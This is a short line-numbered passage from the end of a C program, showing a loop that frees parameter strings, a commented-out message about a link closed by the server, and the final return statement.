1925
int q = 1;
1926
for(q = 1; q < paramsCount; q++)
1927
{
1928
free(params[q]);
1929
}
1930
}
1931
}
1932
}
1933
//printf("Link closed by server.\n");
1934
}
1935
1936
return 0;
1937
}
1938